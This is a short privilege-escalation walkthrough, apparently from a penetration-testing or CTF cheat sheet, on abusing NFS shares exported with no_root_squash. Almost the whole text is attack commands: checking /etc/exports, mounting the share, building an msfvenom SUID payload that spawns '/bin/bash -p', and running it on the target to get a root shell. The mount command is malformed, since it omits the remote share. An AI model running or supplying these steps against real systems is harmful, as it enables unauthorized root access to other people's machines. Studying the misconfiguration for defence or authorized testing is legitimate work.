Check the contents of /etc/exports for shares with the no_root_squash option:

$ cat /etc/exports
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)

No_root_squash means that we can write as root user to that location.

Confirm that the NFS share is available for remote mounting:

$ showmount -e <TARGET IP>

# Exploit

Create a mount point on your local machine and mount the /tmp NFS share:

$ mkdir /tmp/nfs 
$ mount -o rw,vers=2 /tmp/nfs

Using the root user on your local machine, generate a payload and save it to the mounted share:

$ msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf

Make sure the file has the SUID bit set, and is executable by everyone:

$ chmod +xs /tmp/nfs/shell.elf

On the target machine, execute the file to get a root shell:

$ /tmp/shell.elf